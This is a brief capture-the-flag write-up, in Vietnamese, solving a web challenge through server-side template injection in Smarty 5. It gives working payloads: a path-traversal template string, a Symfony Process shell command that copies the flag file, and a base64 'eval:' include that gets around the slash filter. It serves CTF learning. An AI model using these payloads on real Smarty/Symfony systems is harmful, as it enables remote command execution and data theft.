Jul 04, 2023
untitled-smarty-challenge
web
Status: Not started
Summary
Note
💡 SSTI in Smarty via cached templates and Symfony Process.
Description
Analyst
-
Mỗi khi ta gửi lên server một param
pagestồn tại thì phía server sẽ tạo ra 1 file trongtemplates_cbao gồm cả parampagesta truyền.
-
Từ đó ý tưởng là truyền vào payload SSTI mà vẫn được path valid:
{7*7}/../home
- Giờ ta đã có thể SSTI. Tuy nhiên bài này dùng Smarty 5 nên không còn
system. Ngoài ra tác giả require cả Symfony (ban đầu chưa rõ dùng để làm gì).

- Do đó ta có thể dùng Symfony để SSTI.
- Đọc doc của Symfony Process: https://symfony.com/doc/current/components/process.html
- Ta có thể SSTI với command như sau:
{Symfony\Component\Process\Process::fromShellCommandline("cat /flag* > x0n1l.txt")->run()}
- Add vào path thì không được do slash. Tuy nhiên nếu đọc phần template của Smarty 5 ta có thể gọi thông qua include file: https://smarty-php.github.io/smarty/stable/api/resources/#templates-from-a-specific-directory
- Từ đó payload:
{include file="eval:base64:e1N5bWZvbnlcQ29tcG9uZW50XFByb2Nlc3NcUHJvY2Vzczo6ZnJvbVNoZWxsQ29tbWFuZGxpbmUoImNhdCAvZmxhZyogPiB4MG4xbC50eHQiKS0%2BcnVuKCl9"}
- Thành công ghi flag ra file và lấy flag.
